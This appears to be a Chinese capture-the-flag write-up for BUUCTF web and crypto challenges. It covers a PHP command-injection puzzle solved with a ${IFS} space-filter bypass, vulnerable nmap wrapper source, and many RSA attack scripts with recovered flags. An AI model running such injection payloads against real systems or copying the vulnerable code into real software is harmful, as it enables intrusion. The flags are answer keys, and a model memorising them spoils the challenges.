    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧

level1

intval特性:

intval(1e1)=10

intval(‘1e1’)=1

所以num = 1e10,前者当成字符串处理,为1,后者经过+操作,转成科学计数法1e10+1>2021

level2

找到0e开头的字符串,md5后,为0exxxx(xxx为数字)。即可让其弱相等

level3,

过滤了cat和空格,首先ls看一下有什么文件。然后用

get_flag=head${IFS}fflllllllllllllllllllllllag读取内容即可

flag{ef97fa5d-9f70-4d97-b308-952b05eaa853}

[HCTF 2018]admin(未做)

[BUUCTF 2018]Online Tool(未做)

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

[CISCN2019 华北赛区 Day2 Web1]Hack World(未做)

fuzz字典测了一下,过滤了如下字符:

BUUCTF WriteUp - 图60

[强网杯 2019]高明的黑客(未做)

[网鼎杯 2018]Fakebook(未做)

登录后

BUUCTF WriteUp - 图61

Cyptro

异或脚本-[ACTF新生赛2020]crypto-classic0

根据提示压缩包密码是生日,于是爆破8位数1940开始

得到密码后解压,发现一个.c文件包含加密算法,一个文件为加密后密文

核心算法是一个异或,所以读取密文异或一下得到明文。简单

联想脑洞-达芬奇密码

给了两串数字和提示:

(答案是一串32位十进制数字) 
达芬奇隐藏在蒙娜丽莎中的数字列:1 233 3 2584 1346269 144 5 196418 21 1597 610 377 10946 89 514229 987 8 55 6765 2178309 121393 317811 46368 4181 1 832040 2 28657 75025 34 13 17711 
记录在达芬奇窗台口的神秘数字串:36968853882116725547342176952286

竟然是小说/电影的线索——斐波那契数列

BUUCTF WriteUp - 图62

生成fibbo:

1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 2584 4181 6765 10946 17711 28657 46368 75025 121393 196418 317811 514229 832040 1346269 2178309

写脚本,查询好顺序,用出现的顺序对神秘字符串重新排序就得到了flag

#主要思路是遍历fakefibbo,然后找出对应哪一位,如fb中第二个数对应rb中第五个
#然后cipher对应fakebibbo,因此cipher中第二个数对应flag第五个数
#因此有reslut[4]=cipher[1],依次类推
realfibbo = '1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 2584 4181 6765 10946 17711 28657 46368 75025 121393 196418 317811 514229 832040 1346269 2178309'
fakefibbo = '1 233 3 2584 1346269 144 5 196418 21 1597 610 377 10946 89 514229 987 8 55 6765 2178309 121393 317811 46368 4181 1 832040 2 28657 75025 34 13 17711'
cipher = '36968853882116725547342176952286'
realfibbo = realfibbo.split(' ')
fakefibbo = fakefibbo.split(' ')
result = ['a']*32
for i in range(len(cipher)):
#这里要考虑到第二个1(fb[24])寻找的时候,会找到1123中第一个数,也就是index=0,而我们希望他找到第二个数,也就是index=1
    if(i == 24):
        index = 1
    else:
        index = realfibbo.index(fakefibbo[i])
    result[index] = cipher[i]
for i in result:
    print(i,end='')
##37995588256861228614165223347687[Finished in 0.2s]

于是得到flag

键盘密码-维吉尼亚-[ACTF新生赛2020]crypto-classic1

首先有个hint.txt和一个压缩包:

哇,这里有压缩包的密码哦,于是我低下了头,看向了我的双手,试图从中找到某些规律
xdfv ujko98 edft54 xdfv pok,.; wsdr43

低头看看键盘,键盘密码,xdfv连起来,包出的字母是啥

于是解密得到circle

解压,得到vigenere.zip

SRLU{LZPL_S_UASHKXUPD_NXYTFTJT}

猜测SRLU对应FLAG,对应秘钥为nump,结果试了一下,没有什么有意义的东西出现。

而且由于s一个字母独立,目测是S=a

联想到题目是ACTF的题目,试一下ACTF对应FLAG

发现这四个字母对应的秘钥是spsp,所以猜测秘钥就是sp或者spsp

BUUCTF WriteUp - 图63

可以看到最后几个字符已经能成功解密为vigenere,所以秘钥没什么问题。但是中间的字符仍然没有意义。(S也正好对应为a,所以我感觉解密没问题)

提交flag不对,试了一下另外两个单独用古典密码凯撒栅栏rot13等解密,都没有结果。最后百度了一下

坑爹!

BUUCTF给的字符串是错的!!

#这才是原题!!!秘钥为sp,自己解密去吧。
SRLU{OWSI_S_RDPKHARSA_NXYTFTJT}

rot

rot顾名思义,_rot_ate算法,如rot13。其实就是凯撒密码?

写代码实现一下,轮转位数任意。由于又涉及到ascii80的,也有130多的,所以暂时不考虑轮转,先看看普通位移后什么结果:

a = '83 89 78 84 45 86 96 45 115 121 110 116 136 132 132 132 108 128 117 118 134 110 123 111 110 127 108 112 124 122 108 118 128 108 131 114 127 134 108 116 124 124 113 108 76 76 76 76 138 23 90 81 66 71 64 69 114 65 112 64 66 63 69 61 70 114 62 66 61 62 69 67 70 63 61 110 110 112 64 68 62 70 61 112 111 112'
b = a.strip().split(' ')
i = -20
while i<=10:
    result = ''
    for item in b:
        result += chr(int(item) + i)
    print(result)
    i += 1
#其中有一条为,注意这条自带空格:
#FLAG IS flag{www_shiyanbar_com_is_very_good_????}
#MD5:38e4c352809e150186920aac37190cbc

尝试输入flag,验证不通过,注意到给了我们md5。

反应过来,这个????不会是掩码把。那就碰撞md5呗。

import string
import hashlib
md5 = '38e4c352809e150186920aac37190cbc'
dic = string.printable
prefix = 'flag{www_shiyanbar_com_is_very_good_'
for a in dic:
    for b in dic:
        for c in dic:
            for d in dic:
                flag = prefix + a + b + c + d + '}'
                if(md5 == hashlib.md5(flag.encode('utf-8')).hexdigest()):
                    print('flag is ' + flag)
print('over')
#flag is flag{www_shiyanbar_com_is_very_good_@8Mu}

rsa基础数学知识-RSA

在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=17
求解出d作为flga提交

温习一下rsa理论知识:

rsa加密需要几个值:

  1. 互质的两个大数p/q,乘积计算出来为n
  2. φ(n)=(p-1)*(q-1)
  3. 一个数e,与φ(n)互质
  4. d*e mod φ(n) =1,即d是e关于φ(n) 的逆元

用segamath求解:

BUUCTF WriteUp - 图64

d = 125631357777427553

最简单解密-RSARSA

p =  9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q =  11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e =  65537
c =  83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

d = (k*L+1)/e

e*d mod L =1 ,inverse_mod(e,l)求逆元

得到d后,pow(c,d,n)解密

BUUCTF WriteUp - 图65

5577446633554466577768879988

dp/dq解密-RSA1

拿到题以后,发现给了四个值,p/q/dp/dq/c,c是密文,pq也好理解,是用来生成n的两个互质的大数,那dp和dq是什么……

百度了一下:dp=d mod (p-1),dq=d mod (q-1)

原理:

已知(dp,dq,p,q,c),其中dp=d mod (p-1),dq=d mod (q-1),则计算明文m的算法如下:
1.计算q模p的逆元记为I(invertQ)
2.计算mp=(c^dp) mod p
3.计算mq=(c^dq) mod q
可得m=(((mp - mq) I) mod p) q + mq

代码:

from gmpy2 import *
p = mpz(8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229)
q = mpz(12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469)
dp = mpz(6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929)
dq = mpz(783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041)
c = mpz(24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852)
m1 = pow(c,dp,p) 
m2 = pow(c,dq,q)
I = invert(q,p)
#m=(((m1 - m2) * I) mod p) * q + m2
m = mod(((m1 - m2) * I),p) * q +m2
print(hex(m))

得到:0x6e6f784354467b57333163306d335f37305f4368316e343730776e7d

解密后为:noxCTF{W31c0m3_70_Ch1n470wn}

共模攻击-RSA3

题目给了n和c1/e1,c2/e2。试了一下,n无法直接在工具中因数分解,而题目又给了两组密文和e。

猜测两组密文对应的明文是同一个。只是e不相等才导致密文c不相等的。

共模攻击:

  • 当n不变的情况下,知道n,e1,e2,c1,c2 可以在不知道d1,d2的情况下,解出m(要求e1/e2互质,即明文不变时,知道两个不同的e下加密的密文,就可以解出明文)
先确认e1/e2互质
>>>gmpy2.gcd(11187289,9647291)
   mpz(1)

c1s2 = m

其中s1/s2满足等式:e1_s1+e2_s2 = 1

用gmpy2的扩展欧几里得计算:

>>> gcdext(e1,e2)
(mpz(1), mpz(-3421980), mpz(3968231))

得到s1,s2

(c1s2)%n = m

用以下语句计算:

#注意,这样计算比(pow(c1,s1)*pow(c2,s2))%n要好,避免了两个大数相乘
>>> m = (pow(c1,s1,n) * pow(c2,s2,n)) % n>>> hex(m)
'0x666c61677b34396439313037376131616263623134663161396435343663383062653965667d'
#flag{49d91077a1abcb14f1a9d546c80be9ef}

简单计算-[GUET-CTF2019]BabyRSA

很简单的计算

flag{cc7490e-78ab-11e9-b422-8ba97e5da1fd}’

Rsalib-cve漏洞-[GKCTF2020]Backdoor

题目提示:p=kM+(65537*a %M)

打开后发现一个算法.py文件,flag.enc和一个pub.pem

查看算法,发现就是最普通的rsa,大意是用pub里的公钥n和e对flag进行了加密,加密后的结果进行base63后存在flag.enc中。

打开flag.enc解密,得到

02142af7ce70fe0ddae116bb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572ff1abfcd0b17aa22ef44a2
#这是密文c

然后根据python脚本,读取公钥n和e:

with open('./pub.pem' ,'r') as f:
    key = RSA.import_key(f.read())
    e = key.e
    n = key.n
#e=65535
#n=15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739

看了一下也没有别的额外信息了,于是只能对n进行暴力分解,如果能得到p/q,自然所有的都能求出来。结果发现n有160多位。跑不出来。回过头才注意到,题目有文字描述:p=kM+(65537*a %M)

啥玩意儿啊,我只知道m是明文,可是即使m是明文这里也有两个未知数。而且计算还很复杂,我的水平没法联立方程解出来。

然后google了一下,发现是一个cve漏洞复现:

这个网站讲的可太清楚了:https://asecuritysite.com/encryption/copper

[Back] With the ROCA (Return of the Coppersmith Attack) vulnerability an RSA private key can be recovered from the knowledge of the public key [article]. It has the CVE identifier of CVE-2017-15361. The vulnerability related to the Infineon RSA library on the Infineon Trusted Platform Module (TPM) firmware. It affected BitLocker with TPM 1.2 and YubiKey 4. In this case we calculate the prime number with Prime=k×M+(65537amodM): The library uses the value of 39 (1…167) for the number of primes used to generate M for key sizes of 512 to 960-bits, then 71, 126 and 225 values are used for the key intervals 992–1952 bits; 1984–3936 bits; and 3968–4096 bits, respectively.

大意就是rsalib的素数生成有漏洞,不够随机,实际上的生成方式是用p=kM+(65537*a %M)生成的,其中M为前x个素数乘积。

对于512 to 960-bits的key,M的值为39个素数乘积。上面那个网站甚至给了相关的代码:

于是M确定了值,a和k理论上也不会太大,暴力碰撞一下,秒出。

from Crypto.Util import number
from gmpy2 import *

vals=39
M=1
n = mpz(15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739)
primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997, 1009, 1013, 1019, 1021, 1031, 1033, 1039, 1049, 1051, 1061, 1063, 1069, 1087, 1091, 1093, 1097, 1103, 1109, 1117, 1123, 1129, 1151, 1153, 1163, 1171, 1181, 1187, 1193, 1201, 1213, 1217, 1223, 1229, 1231, 1237, 1249, 1259, 1277, 1279, 1283, 1289, 1291, 1297, 1301, 1303, 1307, 1319, 1321, 1327, 1361, 1367, 1373, 1381, 1399, 1409, 1423, 1427, 1429, 1433, 1439, 1447, 1451, 1453, 1459, 1471, 1481, 1483, 1487, 1489, 1493, 1499, 1511, 1523, 1531, 1543, 1549, 1553, 1559, 1567, 1571, 1579, 1583, 1597, 1601, 1607, 1609, 1613, 1619, 1621, 1627, 1637, 1657, 1663, 1667, 1669, 1693, 1697, 1699, 1709, 1721, 1723, 1733, 1741, 1747, 1753, 1759, 1777, 1783, 1787, 1789, 1801, 1811, 1823, 1831, 1847, 1861, 1867, 1871, 1873, 1877, 1879, 1889, 1901, 1907, 1913, 1931, 1933, 1949, 1951, 1973, 1979, 1987, 1993, 1997, 1999, 2003, 2011, 2017, 2027, 2029, 2039, 2053, 2063, 2069, 2081, 2083, 2087, 2089, 2099, 2111, 2113, 2129, 2131, 2137, 2141, 2143, 2153, 2161, 2179, 2203, 2207, 2213, 2221, 2237, 2239, 2243, 2251, 2267, 2269, 2273, 2281, 2287, 2293, 2297, 2309, 2311, 2333, 2339, 2341, 2347, 2351, 2357, 2371, 2377, 2381, 2383, 2389, 2393, 2399, 2411, 2417, 2423, 2437, 2441, 2447, 2459, 2467, 2473, 2477, 2503, 2521, 2531, 2539, 2543, 2549, 2551, 2557, 2579, 2591, 2593, 2609, 2617, 2621, 2633, 2647, 2657, 2659, 2663, 2671, 2677, 2683, 2687, 2689, 2693, 2699, 2707, 2711, 2713, 2719, 2729, 2731, 2741, 2749, 2753, 2767, 2777, 2789, 2791, 2797, 2801, 2803, 2819, 2833, 2837, 2843, 2851, 2857, 2861, 2879, 2887, 2897, 2903, 2909, 2917, 2927, 2939, 2953, 2957, 2963, 2969, 2971, 2999]

for x in range(0, vals):
    M=M*primes[x]


for a in range(1,20):
    for k in range(50):
        p=mpz(k*M+(65537**a %M))
        if gmpy2.is_prime(p):
            q = mpz(n//p)
            if gmpy2.is_prime(q):
                print('p=%d\nq=%d'%(p,q))

没想到运算的这么快,秒出。

p=4582433561127855310805294456657993281782662645116543024537051682479
q=3386619977051114637303328519173627165817832179845212640767197001941

有了p/q/c/e/n,求d和明文m就是了

d=11499569785990181290142150447540986299729313689398043794865222914751456271097337104622884992345120278959213140333860537563347711742153

sage: m=pow(c,d,n)                                                                                       
sage: hex(m)                                                                                             
'0x666c61677b37363039353863392d636361392d343538622d396362652d6561303761613136363865347d'
sage: bytes.fromhex(hex(m)[2:])                                                                           
b'flag{760958c9-cca9-458b-9cbe-ea07aa1668e4

计算位数-碰撞-[NCTF2019]babyRSA

算法大意是取一个512bit长度的随机素数p,然后从这个素数出发,寻找下一个素数作为q

所以对于n=p*q来说

可以对n开平方根,平方根x一定介于p/q之间,且p/q就是最接近平方根x的素数。

如果给了n,那这题非常好做。但是题目给的是d。考虑d的关系

BUUCTF WriteUp - 图66(q-1)%20%3D%20pq-(p%2Bq)%2B1%5Capprox%20x%5E2%20-2x%20%2B1%20%3D%20(x-1)%5E2%5C%5C%0Aed%20mod%20phi%20%3D%201%E5%8D%B3%20ed%20%3D%20kphi%20%2B%201%0A#card=math&code=phi%20%3D%20%28p-1%29%2A%28q-1%29%20%3D%20pq-%28p%2Bq%29%2B1%5Capprox%20x%5E2%20-2x%20%2B1%20%3D%20%28x-1%29%5E2%5C%5C%0Ae%2Ad%20mod%20phi%20%3D%201%E5%8D%B3%20e%2Ad%20%3D%20k%2Aphi%20%2B%201%0A)

已知ed,因此可以靠碰撞找出k,这样就能求出phi,进而求出x的值,在通过x附近找质数,得到pq的值

注意到p是1024bits,因此phi是2048bits附近(必定大于1024bit)

d是512*4=2048bits,e是0x10001,5bits,所以

BUUCTF WriteUp - 图67

e*d是2064bits,故k取值范围在2附近。brute force暴力破解

from Crypto.Util.number import *        
d = 19275778946037899718035455438175509175723911466127462154506916564101519923603308900331427601983476886255849200332374081996442976307058597390881168155862238533018621944733299208108185814179466844504468163200369996564265921022888670062554504758512453217434777820468049494313818291727050400752551716550403647148197148884408264686846693842118387217753516963449753809860354047619256787869400297858568139700396567519469825398575103885487624463424429913017729585620877168171603444111464692841379661112075123399343270610272287865200880398193573260848268633461983435015031227070217852728240847398084414687146397303110709214913
c = 5382723168073828110696168558294206681757991149022777821127563301413483223874527233300721180839298617076705685041174247415826157096583055069337393987892262764211225227035880754417457056723909135525244957935906902665679777101130111392780237502928656225705262431431953003520093932924375902111280077255205118217436744112064069429678632923259898627997145803892753989255615273140300021040654505901442787810653626524305706316663169341797205752938755590056568986738227803487467274114398257187962140796551136220532809687606867385639367743705527511680719955380746377631156468689844150878381460560990755652899449340045313521804
e = 0x10001
for k in range(2**15,2**16):
    if((e*d-1)%k==0):
        phi=(e*d-1)//k
        x = phi.nth_root(2,truncate_mode=1)[0] + 1
        p = next_prime(x)
        q = previous_prime(x)
        if(phi == (p-1)*(q-1)):
            n = p*q
            m = pow(c,d,n)
            print(m)
             bytes.fromhex(hex(m)[2:])

b’NCTF{70u2_nn47h_14_v3ry_gOO0000000d}’

BUUCTF WriteUp - 图68

WienerAttack-rsa2

题目给了n和e,要求d的md5值。

注意到n和e大小类似,可以从n-1开始遍历,phi=n-i。

根据e和phi互质来求出phi。结果发现存在的phi可能值太多了

最后才发现d过小时可以用wiener attack,github上有相关工具,在程序中导入即可。

from RSAwienerHacker import *
d = hack_RSA(e,N)
#8920758995414587152829426558580025657357328745839747693739591820283538307445

坑点在于给的代码是python2的,其md5加密处理和python3有所不同

flag{47bf28da384590448e0b0d23909a25a4}

词频分析-浪里淘沙

看到一串英文,做词频分析,把把获得的单词连在一起提交即可。(我这里有一串数字:4,8,11,15,16)

flag{weshouldlearnthecrypto}

共模攻击-samemod

n=
c1=
c2=
e1=773
e2=839
s1=xgcd(e1,e2)[1]
s2=xgcd(e1,e2)[2]
m=pow(c1,s1,n)*pow(c2,s2,n)
#1021089710312311910410111011910111610410511010710511610511511211111511510598108101125

最后是ascii码,坑爹

flag{whenwethinkitispossible}

暴力碰撞-[HDCTF2019]bbbbbbrsa

分析代码:

from base64 import b64encode as b32encode
print b32encode(str(c))[::-1]
#2373740699529364991763589324200093466206785561836101840381622237225512234632
p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c = ==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjM

先还原一下c(这里注意import时把base64命名为base32,因此实际上还是base64解码):

  • 逆序’MjM3Mzc0MDY5OTUyOTM2NDk5MTc2MzU4OTMyNDIwMDA5MzQ2NjIwNjc4NTU2MTgzNjEwMTg0MDM4MTYyMjIzNzIyNTUxMjIzNDYzMg==’
  • base64解码:2373740699529364991763589324200093466206785561836101840381622237225512234632

再看其他代码:

phi = (p-1)*(q-1)
e = random.randint(50000,70000)
while True:
    if gcd(e,phi) == 1:
        break;
    else:
        e -= 1;

e的值先取一个随机数,再从这个随机数往下循环查找,找到和phi互质的数。知道了n/p/q/phi,考虑可以直接从70000开始往下找,brute force碰撞出e。

p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c=2373740699529364991763589324200093466206785561836101840381622237225512234632
q=n/p
phi=(p-1)*(q-1)
for i in range(0,70000):
    e = 70000 - i
    if gcd(e,phi)==1:
        d=inverse_mod(e,phi)
        m=pow(c,d,n)
        try:
            m=bytes.fromhex(hex(m)[2:])
            print(m)
            if(b'flag' in m):
                break
        except:
            continue

BUUCTF WriteUp - 图69

flag{rs4_1s_s1mpl3!#}

刷新后简单计算-[BJDCTF 2nd]rsa1

多刷新几次,能得到式子:

e=14981677
p^2+q^2=139701637473470675267683378664831662760661065101766785995742742370541776191663344846050936071220181404491656489819850396567896481785868484718794990019802150419841048425564281483554867326850362717475483441035347404072670673640263764987701420499387050813185651915137201740018765644988912060213713617824654516690
p-q=1613488335498400672704441481346915399552601356592357396543807445489025374005385715163843351328369006486317806185759755592161478637384717076566393255924512
c=11140941680398090729513482332932806160598161024329248499774788870115037477669724292242915169698256795099019458821040098441715951195905121404282046163203514762062779006765672750535735561391347443192960686702067598169442121359953797842176681953266309880967567236941246434333965438902645648514461601202836860105
flag=??????

简单计算:(p-q)^2 = p2-2pq

e=14981677
p2q2=139701637473470675267683378664831662760661065101766785995742742370541776191663344846050936071220181404491656489819850396567896481785868484718794990019802150419841048425564281483554867326850362717475483441035347404072670673640263764987701420499387050813185651915137201740018765644988912060213713617824654516690
p_q=1613488335498400672704441481346915399552601356592357396543807445489025374005385715163843351328369006486317806185759755592161478637384717076566393255924512
c=11140941680398090729513482332932806160598161024329248499774788870115037477669724292242915169698256795099019458821040098441715951195905121404282046163203514762062779006765672750535735561391347443192960686702067598169442121359953797842176681953266309880967567236941246434333965438902645648514461601202836860105
pplusq2=2*p2q2-pow(p_q,2)
pplusq = pplusq2.nth_root(2,1)[0]
p=(pplusq+p_q)/2
q=pplusq-p
n=p*q
phi=(p-1)*(q-1)
d=inverse_mod(e,phi)
m=pow(c,d,n)
bytes.fromhex(hex(m)[2:])
#b'flag{d59362bc-2dc8-4ca8-b158-5b9329e40564}\n'

dp泄露-数学推导-RSA2

题目给了e/n/dp/c,dp泄露

BUUCTF WriteUp - 图70%7D%5Cbmod%7B(p-1)%7D%5C%5C%0A%E5%B0%86%E4%B8%8A%E5%BC%8F%E4%B8%A4%E8%BE%B9%E9%83%BD%E5%81%9A%E4%B8%80%E4%B8%AAmod(q-1)%5C%5C%0Adpe%5Cbmod(q-1)%3D(de)%5Cbmod(p-1)(q-1)%3D1%5C%5C%0Adpe%3Dk(q-1)%2B1%5C%5C%0Ak%3D%5Cfrac%7Bdpe-1%7D%7Bq-1%7D(%E5%85%B6%E4%B8%ADdp%E5%B0%8F%E4%BA%8Ep-1)%5C%5C%0A#card=math&code=dp%2Ae%3D%7B%28d%2Ae%29%7D%5Cbmod%7B%28p-1%29%7D%5C%5C%0A%E5%B0%86%E4%B8%8A%E5%BC%8F%E4%B8%A4%E8%BE%B9%E9%83%BD%E5%81%9A%E4%B8%80%E4%B8%AAmod%28q-1%29%5C%5C%0Adp%2Ae%5Cbmod%28q-1%29%3D%28d%2Ae%29%5Cbmod%28p-1%29%28q-1%29%3D1%5C%5C%0Adp%2Ae%3Dk%28q-1%29%2B1%5C%5C%0Ak%3D%5Cfrac%7Bdp%2Ae-1%7D%7Bq-1%7D%28%E5%85%B6%E4%B8%ADdp%E5%B0%8F%E4%BA%8Ep-1%29%5C%5C%0A)

其中由于pq大小相差不会太大,所以k取值范围也不会太大,可以根据已知的dp大致估算一下,暴力碰撞

from sage.all import *
from Crypto.Util.number import *
e = 65537
n = 248254007851526241177721526698901802985832766176221609612258877371620580060433101538328030305219918697643619814200930679612109885533801335348445023751670478437073055544724280684733298051599167660303645183146161497485358633681492129668802402065797789905550489547645118787266601929429724133167768465309665906113
dp = 905074498052346904643025132879518330691925174573054004621877253318682675055421970943552016695528560364834446303196939207056642927148093290374440210503657
c = 140423670976252696807533673586209400575664282100684119784203527124521188996403826597436883766041879067494280957410201958935737360380801845453829293997433414188838725751796261702622028587211560353362847191060306578510511380965162133472698713063592621028959167072781482562673683090590521214218071160287665180751
for i in range(1,e):
    if (dp*e - 1) % i == 0:
        q = (dp*e - 1) // i + 1
        if n % q == 0:
            p = n//q
            break
phi = (p-1)*(q-1)
d = inverse_mod(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

flag{wow_leaking_dp_breaks_rsa?_98924743502}

脑洞-rsaroll

RSA roll!roll!roll!
Only number and a-z
(don't use editor
which MS provide)

然后给了一组数据

{920139713,19}

704796792
752211152
274704164
18414022
368270835
483295235
263072905
459788476
483295235
459788476
663551792
475206804
459788476
428313374
475206804
459788476
425392137
704796792
458265677
341524652
483295235
534149509
425392137
428313374
425392137
341524652
458265677
263072905
483295235
828509797
341524652
425392137
475206804
428313374
483295235
475206804
459788476
306220148

????????

脑洞,n=920139713,e=19,p=18443 ,q=49891,对c逐行解密

b’flag{13212je2ue28fy71w8u87y31r78eu1e2}’

e和m过小-Dangerous Rsa

题目给了n,c,e,注意到e很小,为3

所以

BUUCTF WriteUp - 图71

其中k的值较小,直接撞就行了

flag{25df8caf006ee5db94d48144c33b2c3b}

共模攻击- [BJDCTF2020]RSA

from Crypto.Util.number import getPrime,bytes_to_long
flag=open("flag","rb").read()
p=getPrime(1024)
q=getPrime(1024)
assert(e<100000)
n=p*q
m=bytes_to_long(flag)
c=pow(m,e,n)
print c,n
print pow(294,e,n)

p=getPrime(1024)
n=p*q
m=bytes_to_long("BJD"*32)
c=pow(m,e,n)
print c,n

分析一下题目:

首先设定了p/q,然后n和c给了你,然后第一次输出了m=296时的密文。

第二段改变了p,重新输出了c和n,还输出了m=”BJD”*32时候的密文。

注意到两次加密的n都给了,而两次加密时,q都相同。因此q=gcd(n1,n2)。所以可以求出pq,只差一个e.

可以看到上下文都对已知明文进行了加密。借此来求出e.注意到代码中有一个断言,assert(e<100000),所以题目应该是设定好范围让我们爆破。根据print pow(294,e,n)爆破就是了。

得到:BJD{p_is_common_divisor}

暴力分解- [WUSTCTF2020]babyrsa

c = 28767758880940662779934612526152562406674613203406706867456395986985664083182
n = 73069886771625642807435783661014062604264768481735145873508846925735521695159
e = 65537

没什么特征,c/e/n大小都挺合适的。

factordb上有这个数据,可以直接分解。n也确实不大。

wctf2020{just_@_piece_0f_cak3}

低幂质数广播攻击-RSA4

给了三组c/n,实际上c=m^e mod n。

因此就是一个crt的情形。而且给三组的话,e就是等于三吧。

BUUCTF WriteUp - 图72%0A#card=math&code=m%5Ee%3Dcrt%28%5Bc1%2Cc2%2Cc3%5D%2C%5Bn1%2Cn2%2Cn3%5D%29%0A)

其中e小于等于给出的数据对的数量。

否则好像不好求。

不过这里有个大坑点,就是给的数字全是五进制!!!

解决了这个坑点就没啥问题了

from sage.all import *
from Crypto.Util.number import *
n1 = int('331310324212000030020214312244232222400142410423413104441140203003243002104333214202031202212403400220031202142322434104143104244241214204444443323000244130122022422310201104411044030113302323014101331214303223312402430402404413033243132101010422240133122211400434023222214231402403403200012221023341333340042343122302113410210110221233241303024431330001303404020104442443120130000334110042432010203401440404010003442001223042211442001413004 ',5)
c1 = int('310020004234033304244200421414413320341301002123030311202340222410301423440312412440240244110200112141140201224032402232131204213012303204422003300004011434102141321223311243242010014140422411342304322201241112402132203101131221223004022003120002110230023341143201404311340311134230140231412201333333142402423134333211302102413111111424430032440123340034044314223400401224111323000242234420441240411021023100222003123214343030122032301042243',5)
n2 = int('302240000040421410144422133334143140011011044322223144412002220243001141141114123223331331304421113021231204322233120121444434210041232214144413244434424302311222143224402302432102242132244032010020113224011121043232143221203424243134044314022212024343100042342002432331144300214212414033414120004344211330224020301223033334324244031204240122301242232011303211220044222411134403012132420311110302442344021122101224411230002203344140143044114',5)
c2 = int('112200203404013430330214124004404423210041321043000303233141423344144222343401042200334033203124030011440014210112103234440312134032123400444344144233020130110134042102220302002413321102022414130443041144240310121020100310104334204234412411424420321211112232031121330310333414423433343322024400121200333330432223421433344122023012440013041401423202210124024431040013414313121123433424113113414422043330422002314144111134142044333404112240344',5)

n3 = int('332200324410041111434222123043121331442103233332422341041340412034230003314420311333101344231212130200312041044324431141033004333110021013020140020011222012300020041342040004002220210223122111314112124333211132230332124022423141214031303144444134403024420111423244424030030003340213032121303213343020401304243330001314023030121034113334404440421242240113103203013341231330004332040302440011324004130324034323430143102401440130242321424020323',5) 
c3 = int('10013444120141130322433204124002242224332334011124210012440241402342100410331131441303242011002101323040403311120421304422222200324402244243322422444414043342130111111330022213203030324422101133032212042042243101434342203204121042113212104212423330331134311311114143200011240002111312122234340003403312040401043021433112031334324322123304112340014030132021432101130211241134422413442312013042141212003102211300321404043012124332013240431242',5)
